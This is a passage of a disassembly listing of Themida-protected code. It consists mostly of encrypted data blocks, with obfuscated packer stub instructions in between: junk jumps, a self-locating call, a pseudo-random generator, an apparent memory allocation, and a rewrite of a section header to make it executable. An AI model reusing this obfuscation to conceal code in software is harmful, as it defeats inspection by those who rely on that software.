0FF1F2E5Fh, 66F0B8Fh dd 567F3B3Dh, 59DAB132h, 565DB1BAh, 37653A32h, 565453DAh dd 56BF5832h, 0CD72B132h, 0A31C639Dh, 2F548B4h, 0ADA32908h dd 638C7370h, 96A505FFh, 5616343Dh, 5342B132h, 0E6D5B132h dd 0E4DD7C04h, 0D77AB6B9h, 56BAB133h, 561458C7h, 7CEB132h dd 5657A3DBh, 0DCDB3432h, 7A8483Fh, 0BC77051Eh, 39132561h dd 98704EDh, 64FC6FB3h, 36CFD3F1h, 968C0FC7h, 0D5CAC2C3h dd 533CA5F5h, 0ABEAB132h, 90F349A6h, 0A945FFDBh, 565458CDh dd 0A9ADB132h, 0D8DF191Fh, 0DF39D479h, 59B54D77h, 0A98B6385h dd 589CBD47h, 0C4BAB132h, 9397228Bh, 0DD9877A2h, 5830D5A7h dd 56A158E8h, 0E18CB132h, 0ED6AD75Dh, 23FEE780h, 59B2C4CDh dd 565DBDB2h, 56A95832h, 91E5B132h, 0F5C9606Bh, 59E24EBDh dd 56EAA5BFh, 567A5832h, 132AB132h, 7328570Eh, 454BAAC1h dd 0E930FA12h, 5456593Bh, 0D8DAB132h, 56EAB133h, 59B5BAC7h dd 56BAB6B6h, 0E5B44832h, 0AEAEB130h, 59ABF4B9h, 56ABA4B1h dd 56C55832h, 0CB6BB132h, 254A9EE7h, 515B375h, 5A5488F9h dd 5197BBEBh, 54DB333Dh, 0AFCBB132h, 13D60E54h, 0AAAF4E53h dd 5674393Dh, 0D54FB132h, 595DB54Dh, 56AEE0B6h, 56585832h dd 3C0BB132h, 9235FD1Bh, 2AF14D5Ch, 0C5B102F5h, 573BBE15h dd 0A35DB132h, 56A2CEB1h, 567B353Dh, 0DCA4B132h, 56D5B12Bh dd 56EAA5DBh, 0B4B30532h, 344FBB93h, 0B2D57FEDh, 0EA39B528h dd 0CE8C4B39h, 56FE58E2h, 5920B132h, 56EAB0B8h, 0A9CD4832h dd 36454ECDh, 365641B2h, 136F3054h, 3736D1A0h, 56AE0853h dd 59B5B132h, 47027685h, 0A775B132h, 3A891461h, 36B9EF94h dd 0F658E6EFh, 0E2337514h, 0DF5B3054h, 0A5B4EB69h, 0EA034499h dd 0BF8A4ECCh, 56BAB135h, 1FED18F5h, 0D57D96CCh, 5952A14Dh dd 56ABD7B6h, 29564932h, 0D3E5B722h, 5675B1BBh, 48623052h dd 302F3E91h, 37874A8Dh, 57DCBE73h, 0AEABB132h, 59D1F6B9h dd 56EAA0BFh, 56795832h, 72A6B132h, 33D34B06h, 0F8275855h dd 9DC9DB4h, 0A42AD13Eh, 6C45427h, 9E3677B3h, 0BF14D8AEh dd 56BAB03Ch, 565DA3DBh, 1851FF32h, 29AD568Bh, 0E7D77CBFh dd 0D4B97E28h, 0DD206B56h, 515B575h, 37E4D052h, 5951EEB9h dd 56AEBABDh, 56515832h, 8345B132h, 0A14D39C0h, 56EA78DBh dd 56725832h, 49CBB132h, 2608D6A3h, 52E93A08h, 5657B9DBh dd 0F7F90F32h, 4D0114E8h, 5AB53AA6h, 459CE352h, 53BAB132h dd 0F3C2BF20h, 24BD7E35h, 0ABC1F6C5h, 0F0B2BC18h, 598BFED3h dd 56EAA7BBh, 56655932h, 39F0B132h, 0C9634641h, 0A98B98E7h dd 0A1021DADh, 37F453B2h, 56C03F3Dh, 4603B132h, 5275B132h dd 3E6DE044h, 429BBFA9h, 0BE46D44Bh, 7DFA2327h, 0D552B56Dh dd 0D529B4D9h, 59E9A14Dh, 5675F4B7h, 56AB5832h, 7020B132h dd 0C2AE53EDh, 9FCC882Fh, 63A6BF42h, 1724C223h, 56F3353Dh dd 429CB132h, 56BAB132h, 0EF092449h, 0AB863B8Fh, 0A41ADB2Eh dd 0F0078B22h, 0BF0BFC2Ch, 56EAB138h, 3E05A2C7h, 7D901A48h dd 8F76C206h, 56AEB4DBh, 0DBB33032h, 0A2252E6h, 503CB033h dd 19EAB132h, 0D0F91F5Dh, 56B758D0h, 0A679B132h, 0DF2C537h dd 8CC01357h, 0EE4D9D89h, 0A92A4ECDh, 56EAA2DBh, 0AB41EC32h dd 0FE810C82h, 508EAC44h, 0DCE86CBBh, 880E5BB1h, 56ABB48Bh dd 0D8DA4D32h, 56EAB133h, 0A3DE42CBh, 0A94647DBh, 45D6BECDh dd 0BFAEB132h, 5657B13Ch, 0D5E743E3h, 86442F36h, 0A7B81FAFh dd 361438CBh, 307A063Dh, 63DD5AB3h, 5A20BE53h, 5957B132h dd 56ABB7B4h, 5651BE32h, 9FEAB132h, 567D73C7h, 0D5B5D152h dd 565DB132h, 51613054h, 0E831D0E5h, 3CA6FB1h, 825FE252h dd 8761D768h, 0BAFE4453h, 56A95952h, 0BFE0B132h, 54145975h dd 7FA0A5D6h, 38285F05h, 0AE5D63F3h, 37B149E8h, 0A38975B1h dd 56BABFDBh, 0B62E7B32h, 0E3F91397h, 77E780F7h, 3663484Ch dd 9644452h, 5EAF3A53h, 5A308ACBh, 568A333Dh, 6DA8B132h dd 0D1A1A177h, 5657B114h, 0F27A3052h, 37C94972h, 5616F4F5h dd 0AE75B132h, 56BAF5DBh, 56515832h, 981AB132h, 6BB40065h dd 4F7D42D8h, 1312ACEBh, 56EAB0CEh, 56725832h, 6CBCB132h dd 0B70228F0h, 56B558F4h, 0DB58B132h, 56ABB127h, 56DA393Dh dd 5C03B132h, 0AF75B132h, 1DFE7CF7h, 788953D9h, 5947D086h dd 0F657B132h, 0C9D145F8h, 1AFFE343h, 2DD90BE9h, 13FE392Ch dd 0D8B5D1CEh, 565DB133h, 0AE11BECAh, 1377853h, 56B9586Ch dd 8DB6B132h, 298E9C71h dd 317B1BC5h, 8256C6BAh, 0E3854F72h, 56A27353h, 5650363Dh dd 0D3A4B132h, 56D5B133h, 36BF44CBh, 56773B3Dh, 37DAB132h dd 565DBBDBh, 3C590E32h, 6812EBA4h, 3775E4EFh, 0D52D5DB9h dd 0D5E54DF6h, 5675B13Fh, 56BAB9DBh, 9DE4AB32h, 192A29ADh dd 565058CAh, 1EA7B132h, 336C5DF8h, 0D9E5D11Ah, 5675B133h dd 56BA59CBh, 0D707B132h, 564A24D8h, 59DFBE3Ah, 0BFABB132h dd 56D5B138h, 0A96141B8h, 39747ED7h, 0D7DA6A32h, 5BA60BD0h dd 542ABE42h, 3657B132h, 0D9A4D053h, 56D5B135h, 56EB3D3Dh dd 658DB132h, 65424DFBh, 564C58E9h, 9B66B132h, 8B70E93Bh dd 0DD3B7136h, 1A06526Dh, 0DF189E20h, 368D4D6Fh, 0D7603A54h dd 12B48DE5h, 0EC25D046h, 5E572F32h, 56ABBFDBh, 0C71A4432h dd 0B27D2DC5h, 88447A79h, 0D57D68E1h, 0D252B10Dh, 56AEB3A9h dd 0E158D152h, 37CAD1E5h, 36B441B9h, 66944788h, 0BDF4D723h dd 0D5DB5BADh, 0D3524E0Dh, 56AEB108h, 564558C7h, 0FAFAB132h dd 0ADA12BB5h, 4ABA226Dh, 0C202917Dh, 1AC75378h, 0AF4976B1h dd 0A95107DBh, 45D0BECDh, 0BFABB132h, 56D5B13Ch, 0B725F407h dd 0DC0456A4h, 0C68DDA46h, 29DE0A8Ah, 0D2A1B136h, 5657B10Ah dd 5AD432CAh, 7B51BE32h, 0BFEAB132h, 5675B139h, 0BB7BD291h dd 614C8066h, 0BFEDA954h, 5657B141h, 56ABA2DBh, 1A4EC732h dd 0A9A23648h, 0C29F55AAh, 0FAF1164Dh, 0CFCBFA53h, 0BF52F4CDh dd 5657B13Dh, 846CC48Ah, 917326ACh, 0F22714BFh, 0A32876C4h dd 0BFAE76B1h, 565DB138h, 7ADA24A9h, 42313ABBh, 7A4233EBh dd 0BF2A4ECDh, 56EAB13Ch, 0C49362CFh, 0E00F2FF2h, 0E1712B7Dh dd 4247CA5Ah, 6257B132h, 45300AF5h, 9F94D7ACh, 0E95E779Ch dd 6B8A228Eh, 0D53E2A5Ch, 5958A14Dh, 56AE1FB6h, 56475832h dd 6A7AB132h, 0E0CEB40h, 5B8E3A65h, 0EF81191h, 2939E199h dd 0D352B722h, 56AEB18Ah, 5657A1DBh, 941A6532h, 0D198402Ch dd 5FC390E7h, 0A79050AEh, 3646F058h, 0F3CD163h, 56AEA2DBh dd 0C7C6F032h, 0CAEBF373h, 49A646BCh, 73E94B91h, 0FA884943h dd 52FD3A53h, 565A3F3Dh, 5CEB132h, 1F833169h, 56A75853h dd 0BAE7B132h, 0DA0391F3h, 563851F9h, 931843Bh, 5651583Eh dd 0DE3EB132h, 0B08167B4h, 0B64E27CDh, 0BF20DAD5h, 56EAB19Bh dd 567F3A3Dh, 5353B132h, 0ED5DB132h, 2325E780h, 5657BBDBh dd 0F7A41A32h, 25CAF25Fh, 0DDA30E95h, 0DD8DB575h, 59DABD6Dh dd 0DD3B7685h, 5047D0EAh, 0D157B132h, 2C19E6CBh, 5689589Fh dd 0D68AB132h, 6153EDDh, 37DB4869h, 5959F6B9h, 56AEB6BCh dd 0E958D132h, 375A3AF9h, 0AAD9EEB9h, 56E0323Dh, 3015B132h dd 184267B3h, 377847B2h, 0A3AAEE19h, 0A3525AB1h, 55BBCEB1h dd 56C9343Dh, 0DD8AB132h, 925D1ECh, 37643A54h, 5DB4F053h dd 0C4AEB132h, 0E8ABD2C2h, 0FAA98337h, 8FFED97Ch, 56EAB9DBh dd 0EC501332h, 1A8A596Fh, 5701384Bh, 56BD5833h, 6881B132h dd 0D7FDF95Ah, 20E1B170h, 8C50E133h, 44E9F572h, 0A945092Dh dd 5DB44ECDh, 18AEB132h, 0DF0354F0h, 0C41651h, 536CE49Ch dd 36EAB132h, 56703E3Dh, 8903B132h, 370DF2C0h, 0BF561AC1h dd 0A9A84C41h, 56A45852h, 2EBB132h, 0A8E35A3Ah, 6CE518D5h dd 0CBB5E61Eh, 373C49F1h, 56AEB9DBh, 39994D32h, 7DC57C45h dd 0AA903AFAh, 56EE323Dh, 715B132h, 0BF73D068h, 565DB13Fh dd 0FEB22A54h, 1E4B8A73h, 0D48ECBC8h, 0BFB57291h, 56EAB122h dd 6C695C6Bh, 0F6B3D4A2h, 0CCC095C1h, 19F9DDA0h, 56593A3Dh dd 5F42B132h, 91D5B132h, 0E118DB09h, 0F2E0FA6Ch, 0D7B5E153h dd 565DB133h, 5A47E0CBh, 0FF57B132h, 93739F42h, 9605CF54h dd 5EFDEDEh, 567058CEh, 1FCEB132h, 0BE0CB958h, 56AEB132h dd 6DBD3068h, 0BFA3B1DAh, 56D5B13Ch, 88A9473Ah, 176207BFh dd 3BC8B0BAh, 46B452E4h, 0AEB132h, 0E1667350h, 0DCE50FE5h dd 251D8329h, 0DB85EA4Ch, 56EB50A8h, 3202483Ah, 0A35DB132h dd 902FD152h, 3A47F072h, 68F0A53h, 0BEB49011h, 56EAB413h dd 0D97AD152h, 56BAB132h, 565DBCDAh, 7EA5CB32h, 0AD7914A6h dd 6056BB8Bh, 378EE442h, 37113A54h, 6D89BAB9h, 56B558F3h dd 0B651B132h, 0CB8B66B6h, 93ADE4A3h, 14043AF2h, 56DE585Ch dd 46AAB132h, 3FC7E56Ah, 0E95CA72Eh, 56CA58CCh, 4CEB132h dd 0CD18A689h, 55CAEB01h, 6D2CB579h, 8C68BEF3h, 5975B132h dd 56BAB6B5h, 57D3BE32h, 0A3AEB132h, 0AF47FA31h, 0D4A47009h dd 56D5B107h, 0EC203052h, 0DD1362C3h, 1253D0CCh, 365DB132h dd 56AEBEDAh, 6E601232h, 622DB7B4h, 5CC7F81Eh, 8C57B8AAh dd 54F2BE6Bh, 36BAB132h, 0E33DD053h, 8011BE17h, 569A5853h dd 4242B132h, 27D5B132h, 0A4B6CC40h, 404BED5Bh, 8D553AB2h dd 0E5EE554Dh, 0BFAE9EE2h, 5657B19Dh, 56ABBDDBh, 1F3B32h dd 92148A1h, 879D3511h, 54203CB1h, 3655B05Ah, 0EC693054h dd 0A4D6D7CEh, 0A9CAF45Ch, 56D358E1h, 8E38B132h, 35577FEBh dd 56BD3B3Dh, 0D952B132h, 56AEB133h, 563A58CAh, 0D5A4B132h dd 56D5B113h, 0B96BD752h, 429DFDBAh, 51BAB132h, 0CADE95FBh dd 4174211h, 0F311FF90h, 0EAB08DFAh, 0CDF1C9Dh, 7E703C53h dd 367DB059h, 56BABCDBh, 167E4A32h, 0D8BC34C5h, 0D0B1CEFFh dd 0DEA40826h, 56D5B133h, 598AD0CAh, 0DF7A4685h, 56BAB122h dd 565DBADBh, 2B659632h, 0BE2A97C9h, 4D956A62h, 59064E53h dd 56EAB0B2h, 0D894432h, 0C7693052h, 3025A5F1h, 0FCF42B9h dd 5656343Dh, 595EB132h, 56D5B9BFh, 546FBE32h, 3675B132h dd 6DAE953h, 565D393Dh, 59F5B132h, 5657B0B4h, 95CA4832h dd 56D4303Dh, 316B132h, 567C5952h, 730EB132h, 0A5F5EEh dd 0BFC384C3h, 5657B126h, 3256B173h, 3BF9697Dh, 0D8AD2ED2h dd 0E467B01Ah, 3BF84D55h, 565A586Ch, 1AB8B132h, 0AB5FD755h dd 0BA20D00Eh, 5D6AD752h, 372104E3h, 5675B1DAh, 0BC3BEB32h dd 5E5D5BA2h, 29443052h, 3718B32Bh, 5D42D1CAh, 0D6D5B132h dd 332AF39h, 63694759h, 0EC377598h, 5E5D2FD3h, 6673152h dd 5653363Dh, 0EFCDB132h, 0DDB497B1h, 4603B977h, 975B132h dd 840D77F1h, 0DA1901DCh, 462C91E6h, 0AFCB4858h, 0E2CBB6BBh dd 996ABE10h, 5AAF3A53h, 523238CBh, 56AD353Dh, 0D352B132h dd 56AEB123h, 5657BDDBh, 0CF212532h, 64FB1B25h, 52981FCFh dd 46303A9Dh, 4305D752h, 11D4D02Fh, 1325493Eh, 0E158D126h dd 56AC58C2h, 4525B132h, 0CA2D4EAFh, 11FCD075h, 59DB4422h dd 565DB0B0h, 0AA674D32h, 0AE57A1F0h, 962BD152h, 8F6ABEFEh dd 336F7753h, 11724B34h, 56BAA0DBh, 0B90B8F32h, 4B95C10Eh dd 9610E0B4h, 100D15CFh, 4CBDA77Fh, 3642A641h, 41833052h dd 309FFD31h, 35AB59B3h, 37F1E053h, 76C204CDh, 0D2A4B6C8h dd 56D5B128h, 56FE3C3Dh, 599CB132h, 5ABAB132h, 8AFBFB12h dd 0D9B6E32Dh, 0AD0AEED7h, 0D3268EF4h, 512812EFh, 965DBE52h dd 274AAC88h, 8645D079h, 56513F3Dh, 5147B132h, 8F57B132h dd 0D8A2EA22h, 0AAB58B08h, 0DB16E353h, 56D5A7B8h, 0D7DCD13Ah dd 59137DE3h, 56AEBDBFh, 56505832h, 1875B132h, 2450A658h dd 712D01Bh, 5675BADBh, 1B789732h, 0B75608E8h, 68525208h dd 50BE61CDh, 65ABB132h, 0EF105C4Ah, 3616EB5Eh, 5675BEDBh dd 4882EE32h, 6268DF1Dh, 945B727h, 2FE30931h, 40293C53h dd 0AFDDB192h, 5AAA063Dh dd 56793D3Dh, 0DAB5B132h, 565DB134h, 56AE333Dh, 8EDCB132h dd 0A352E3CAh, 0BF20803Dh, 56EAB121h, 5ED78D13h, 16A9B4ABh dd 527BD135h, 0A944E021h, 0C9E38F8h, 0BF68B2CBh, 56D5B120h dd 61427311h, 0FFF17315h, 0F9117495h, 0E4E59050h, 5A47B777h dd 0DC57B132h, 0B98A9298h, 9A345423h, 0DF1A2C58h, 0AC40B4B0h dd 0BFDB4435h, 565DB134h, 39B5839h, 5994D0F4h, 56ABB0BEh dd 0E9514432h, 0Fh, 78EAA00Ah, 432BD75Ah, 0A03BF5FDh, 527080F5h dd 198E0Fh, 66600000h, 0E90197BBh, 0Eh, 0DA1A9A95h, 0C3E70820h dd 0A55C5E0Eh, 0E8618CE6h, 0 ; --------------------------------------------------------------------------- pop edx sub edx, 800ECDFh stc jg loc_5F212F stc loc_5F212F: ; CODE XREF: Themida_:005F2128j jl loc_5F2136 cld loc_5F2136: ; CODE XREF: Themida_:loc_5F212Fj push edx clc cld mov eax, [edx+7FA3505h] jmp loc_5F2157 ; --------------------------------------------------------------------------- dd 13C97CC5h, 1BBA73C4h, 0B5073B02h, 673F83F5h db 0E3h, 5Bh, 12h ; --------------------------------------------------------------------------- loc_5F2157: ; CODE XREF: Themida_:005F213Fj mov ecx, 41C64E6Dh ja loc_5F216E jle loc_5F216E jg $+6 loc_5F216E: ; CODE XREF: Themida_:005F215Cj ; Themida_:005F2162j jmp loc_5F2179 ; --------------------------------------------------------------------------- db 3Eh ; --------------------------------------------------------------------------- rol dword ptr [edx], 59h push es daa loc_5F2179: ; CODE XREF: Themida_:loc_5F216Ej mul ecx jmp loc_5F218A ; --------------------------------------------------------------------------- les ecx, [ebp-64h] lds esi, [edx] retn 8161h ; --------------------------------------------------------------------------- db 5Bh, 0E8h ; --------------------------------------------------------------------------- loc_5F218A: ; CODE XREF: Themida_:005F217Bj pop edx jnb loc_5F2198 jg loc_5F2198 clc loc_5F2198: ; CODE XREF: Themida_:005F218Bj ; Themida_:005F2191j add eax, 3039h jnb loc_5F21AE pusha mov ax, 0B043h mov ebx, 71A39953h popa loc_5F21AE: ; CODE XREF: Themida_:005F219Dj and eax, 7FFFFFFFh stc mov [edx+7FA3505h], eax pusha call sub_5F21CF and eax, 5EDB8F2h outsd test [ecx+ecx*2], al fidivr dword ptr [ebp-508611D3h] ; =============== S U B R O U T I N E ======================================= sub_5F21CF proc near ; CODE XREF: Themida_:005F21BBp adc ecx, 7ED8A150h pop edi cmc popa pop edx pusha movzx edi, dx mov eax, edx popa pop ecx jmp locret_5F21EB ; --------------------------------------------------------------------------- dw 0FE5Eh db 6Eh, 0D6h, 2Eh ; --------------------------------------------------------------------------- locret_5F21EB: ; CODE XREF: sub_5F21CF+12j retn sub_5F21CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmc push ecx cld push edx jg loc_5F2216 pusha call sub_5F220E fldcw word ptr [ecx-37h] push es pop ss xchg eax, ecx scasd push 21AF0083h retn ; --------------------------------------------------------------------------- db 0E0h, 95h, 0EBh ; --------------------------------------------------------------------------- les ecx, [ebx] ; =============== S U B R O U T I N E ======================================= sub_5F220E proc near ; CODE XREF: Themida_:005F21F7p ; FUNCTION CHUNK AT 005F2276 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 005F22C9 SIZE 00000014 BYTES pop esi jnp $+6 popa loc_5F2216: ; CODE XREF: Themida_:005F21F0j call $+5 pop edx sub edx, 800EDDAh jmp loc_5F222C ; --------------------------------------------------------------------------- db 0E5h dd 3802067Ah ; --------------------------------------------------------------------------- loc_5F222C: ; CODE XREF: sub_5F220E+14j cmc pusha call near ptr loc_5F223B+1 mov ds:9DBD0A79h, eax jns short loc_5F2276 pop edx loc_5F223B: ; CODE XREF: sub_5F220E+20p add esp, [esi-7Fh] sub_5F220E endp ; sp-analysis failed retf 198Ch ; --------------------------------------------------------------------------- pop edi mov eax, 1552BDBEh popa pusha or di, 8D99h push ebx jmp loc_5F2268 ; --------------------------------------------------------------------------- dd 0AD1C0E51h, 4FA22D29h, 3D731DD6h, 29CF1DFAh, 0BA6FDBBFh ; --------------------------------------------------------------------------- loc_5F2268: ; CODE XREF: Themida_:005F224Fj pop esi popa mov ecx, eax jmp loc_5F2276 ; --------------------------------------------------------------------------- db 0A7h, 12h, 0E8h db 0DFh, 34h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5F220E loc_5F2276: ; CODE XREF: sub_5F220E+2Aj ; Themida_:005F226Cj call near ptr dword_5F206C+7Ah jnp loc_5F2282 cmc loc_5F2282: ; CODE XREF: sub_5F220E+6Dj xor edx, edx jnb loc_5F2297 pusha adc edx, 34A789E5h adc bx, 24FEh popa loc_5F2297: ; CODE XREF: sub_5F220E+76j div ecx clc jz loc_5F22A6 pusha movsx esi, dx stc popa loc_5F22A6: ; CODE XREF: sub_5F220E+8Cj mov eax, edx jz loc_5F22B1 pusha cld popa loc_5F22B1: ; CODE XREF: sub_5F220E+9Aj pop edx jmp loc_5F22C9 ; END OF FUNCTION CHUNK FOR sub_5F220E ; --------------------------------------------------------------------------- db 0E3h dd 7F8777D9h, 0CD08D6F0h, 0A21102C9h, 45C5C18Bh ; --------------------------------------------------------------------------- pop edi ; START OF FUNCTION CHUNK FOR sub_5F220E loc_5F22C9: ; CODE XREF: sub_5F220E+A4j cmc pop ecx pusha sub ah, 13h jl loc_5F22DB jnb $+6 loc_5F22DB: ; CODE XREF: sub_5F220E+C1j popa retn ; END OF FUNCTION CHUNK FOR sub_5F220E ; --------------------------------------------------------------------------- jmp loc_5F22E9 ; --------------------------------------------------------------------------- dw 7C53h dd 0F2F978DFh db 24h ; --------------------------------------------------------------------------- loc_5F22E9: ; CODE XREF: Themida_:005F22DDj mov eax, eax cmc mov eax, eax jnz loc_5F2300 jle loc_5F2300 jle $+6 loc_5F2300: ; CODE XREF: Themida_:005F22EEj ; Themida_:005F22F4j lea eax, [ebp+800B5E7h] pusha mov ebx, edx add di, 4406h popa stc call eax stc mov ax, cx cld lea eax, [ebp+800ECA5h] clc mov [ebp+7FA1DF1h], eax jmp loc_5F232E ; --------------------------------------------------------------------------- db 84h, 97h, 3Ch db 58h, 0E0h ; --------------------------------------------------------------------------- loc_5F232E: ; CODE XREF: Themida_:005F2324j lea eax, [ebp+800EDACh] pusha jmp loc_5F234A ; --------------------------------------------------------------------------- dw 0A1FEh dd 8F80FACEh, 0FABE6B5Dh, 5AF5F210h db 62h, 5Eh ; --------------------------------------------------------------------------- loc_5F234A: ; CODE XREF: Themida_:005F2335j mov dx, si popa mov [ebp+7FA1629h], eax stc mov eax, 0 jg loc_5F2367 jnb loc_5F2367 clc loc_5F2367: ; CODE XREF: Themida_:005F235Aj ; Themida_:005F2360j or eax, eax jz loc_5F24E5 jnb loc_5F237C jns loc_5F237C stc loc_5F237C: ; CODE XREF: Themida_:005F236Fj ; Themida_:005F2375j clc mov byte ptr [ebp+7FA0665h], 56h jmp loc_5F2399 ; --------------------------------------------------------------------------- db 0A7h, 0F7h, 62h dd 0D2F32659h, 0F7840072h, 26498819h db 63h ; --------------------------------------------------------------------------- loc_5F2399: ; CODE XREF: Themida_:005F2384j jmp loc_5F23B1 ; --------------------------------------------------------------------------- dw 0D17Ah dd 119DA59Dh, 0ECCE3BABh, 0A07B4D3Dh, 0B8BBD635h db 0BCh ; --------------------------------------------------------------------------- loc_5F23B1: ; CODE XREF: Themida_:loc_5F2399j push 0A9C530DFh jmp loc_5F23C3 ; --------------------------------------------------------------------------- db 56h dd 3805EEAh ; --------------------------------------------------------------------------- imul esi, esp, -1Bh loc_5F23C3: ; CODE XREF: Themida_:005F23B6j push dword ptr [ebp+7FA2095h] pusha pusha movsx ecx, dx mov ecx, 66B2D9F6h popa jmp loc_5F23E8 ; --------------------------------------------------------------------------- cmp [ebx+7EB0E8DDh], ah cli ror byte ptr [eax+eax+49E0A71Eh], 1 dec esi loc_5F23E8: ; CODE XREF: Themida_:005F23D4j popa lea eax, [ebp+7FDA3DDh] pusha add edx, 63A0A83Eh popa cmc call eax cmc jnz loc_5F2411 jmp loc_5F2411 ; --------------------------------------------------------------------------- dw 0B2F3h dd 0F29B2C3Eh, 0EA57E11Eh ; --------------------------------------------------------------------------- inc ebp loc_5F2411: ; CODE XREF: Themida_:005F23FBj ; Themida_:005F2401j push eax jg loc_5F2419 cld loc_5F2419: ; CODE XREF: Themida_:005F2412j lea ecx, [ebp+7FA30DDh] pusha mov ecx, 0D8F970Eh mov ax, 0C2FDh popa push ecx jns loc_5F2444 jmp loc_5F2444 ; --------------------------------------------------------------------------- dw 0FDC6h dd 4658729Ah, 0E20C1C1Fh, 0FEC4705Fh ; --------------------------------------------------------------------------- loc_5F2444: ; CODE XREF: Themida_:005F242Bj ; Themida_:005F2431j clc push 4 pusha pusha pusha popa push edx pop esi popa jmp loc_5F245D ; --------------------------------------------------------------------------- db 0BBh ; --------------------------------------------------------------------------- mov cl, 9Fh db 2Eh or eax, 8A229FD5h inc edi loc_5F245D: ; CODE XREF: Themida_:005F244Ej popa push 1000h ja loc_5F246A cld loc_5F246A: ; CODE XREF: Themida_:005F2463j push dword ptr [ebp+7FA14A9h] pusha sub cl, 3Eh pusha add cx, 4832h ; CODE XREF: Themida_:005F24A3j popa popa call eax clc loc_5F247F: ; CODE XREF: Themida_:005F24BFj mov edi, [ebp+7FA14A9h] stc add edi, [edi+3Ch] pusha jbe loc_5F2496 jp $+6 loc_5F2496: ; CODE XREF: Themida_:005F248Aj call near ptr loc_5F24AD+1 xchg ebp, esp les edi, [edx+58BADE26h] jle short near ptr loc_5F2475+2 das loc_5F24A6: ; CODE XREF: Themida_:005F24AAj xor dh, [ebx+edx*8-71h] jbe short loc_5F24A6 cwde loc_5F24AD: ; CODE XREF: Themida_:loc_5F2496p fld1 adc [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- xlat push ecx inc esi test cl, 0Ah adc eax, 992D563Ch jo short loc_5F247F adc esi, eax pop esi pop ebx popa add edi, 0F8h cmc mov dword ptr [edi+24h], 60000020h clc jmp loc_5F24E5 ; --------------------------------------------------------------------------- dw 0D62Fh dd 0A28FBF3Dh, 69946C69h db 0FEh ; --------------------------------------------------------------------------- loc_5F24E5: ; CODE XREF: Themida_:005F2369j ; Themida_:005F24D5j lea ebx, [ebp+7FA2719h] clc stc mov eax, [ebx] pusha movzx ecx, ax mov edx, 4292FC4Ch popa or eax, eax jz loc_5F2534 clc mov eax, [eax] jp loc_5F251A jmp loc_5F251A ; --------------------------------------------------------------------------- push cs sbb esi, [esi] push ss dec eax and al, 90h scasd xor [edx-56h], edi loc_5F251A: ; CODE XREF: Themida_:005F2504j ; Themida_:005F250Aj mov [ebx+4], eax jmp loc_5F2534 ; --------------------------------------------------------------------------- dw 2900h dd 892021FAh, 15C4DD67h, 58C2F396h, 7346F4B6h ; --------------------------------------------------------------------------- loc_5F2534: ; CODE XREF: Themida_:005F24FBj ; Themida_:005F251Dj mov ecx, 234CF6h call near ptr loc_5F2544+1 in eax, dx pop es inc edi out 5Eh, al movsb loc_5F2544: ; CODE XREF: Themida_:005F2539p or [eax+0F58FCDBh], eax add byte ptr [ebx], 0 ; --------------------------------------------------------------------------- db 2 dup(0), 66h ; --------------------------------------------------------------------------- mov ebx, ecx add eax, 6782h movsx ebx, di push 19B5h and ebx, 1C7BB6F5h pop edi jg loc_5F256F mov dh, ch ; START OF FUNCTION CHUNK FOR sub_5F25A3 loc_5F256F: ; CODE XREF: Themida_:005F2567j ; sub_5F25A3:loc_5F25DBj mov ecx, [eax] sub dx, 0E58Bh xor ecx, 5933FFB1h cld add ecx, 0AE9FF53h movzx edx, dx add ecx, 117B3765h cmc push ecx call near ptr sub_5F25A3 movsd mov edx, [edx-5E965E4Dh] mov dword ptr [esi-25h], 4CD976FCh xor [eax], al ; END OF FUNCTION CHUNK FOR sub_5F25A3 ; =============== S U B R O U T I N E ======================================= sub_5F25A3 proc far ; CODE XREF: sub_5F25A3-15p ; FUNCTION CHUNK AT 005F256F SIZE 00000034 BYTES pop esi pop dword ptr [eax] clc sub eax, 4 mov ebx, eax dec edi jnz loc_5F25CF sbb bx, 149Bh jmp loc_5F25F0 ; --------------------------------------------------------------------------- and [ecx+0C497EF1h], edx cdq xor [edx+edx*8], edi xor eax, 0D6C6B080h push ss sub cl, bh loc_5F25CF: ; CODE XREF: sub_5F25A3+Aj js loc_5F25DB and ebx, 2554D19Ah loc_5F25DB: ; CODE XREF: sub_5F25A3:loc_5F25CFj jmp loc_5F256F ; --------------------------------------------------------------------------- dd 93B41A74h, 796C5C57h, 7437FF4Dh, 0F2FE1A86h ; --------------------------------------------------------------------------- loc_5F25F0: ; CODE XREF: sub_5F25A3+15j jmp loc_5F2607 ; --------------------------------------------------------------------------- db 97h, 0DBh, 1Eh dd 15h, 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5F2607: ; CODE XREF: sub_5F25A3:loc_5F25F0j jmp loc_5F2B74 ; --------------------------------------------------------------------------- dd 0C4FAA472h, 6DA3FB17h, 134955C0h, 0BFF5A966h, 699FFF12h dd 7A978035h, 0D341EE24h, 28E895CBh, 80934076h, 0C119E81Eh dd 0E77442A5h, 720A7007h, 74B31632h, 77E107E7h, 9AF60EB3h dd 0DF85EE20h, 326CA728h, 0CFCF42A7h, 7727EC99h, 128C87ECh dd 0AEF02287h, 534BC91Eh, 88C11AADh, 7529EACEh, 4B67A73Fh dd 0FFE682E8h, 8340A3BFh, 0D66FFE6h, 20CD73CCh, 0CB78AEF0h dd 69CE5945h, 368F3ABh, 0B8247D10h, 78232467h, 0F41F840Fh dd 0A4CD1FAAh, 477042EAh, 3767A98Dh, 0DFBF5401h, 1CC22854h dd 6BF3FFE7h, 1AA5F916h, 10CA4BF1h, 7528D109h, 616F38h dd 0A7000000h, 7BA7326Ch, 0FFE68316h, 0AB66BB43h, 12CC4DF3h dd 748FD30Bh, 17138h, 0A7020000h, 4EA3336Bh, 0A437DDC1h dd 3BCBD33Fh, 81D45411h, 0E6CD0265h, 5DD730FFh, 0B35C0544h dd 0CE3760EBh, 0DF309528h, 0A2DB34BFh, 540E04E8h, 2F58E3BBh dd 30E390C6h, 4BA0386Eh, 0F05BD5C9h, 960C33D0h, 0A703BA60h dd 44A9346Ah, 3709BFCEh, 2256CE4Ch, 0CA122EB9h, 4CC59D75h dd 359EC752h, 0F0D370AAh, 0D1D77D16h, 4C52C368h, 9C6B25A6h dd 1CD8D972h, 6D1329BFh, 174D51C0h, 65F5A96Ah, 73DF303Bh dd 0AC5218FEh, 0FB9FC919h, 6CD83EC7h, 3CD9862Ch, 98A8D262h dd 0D422DBF4h, 0CDD0334Fh, 9DF6FFE6h, 1A848F34h, 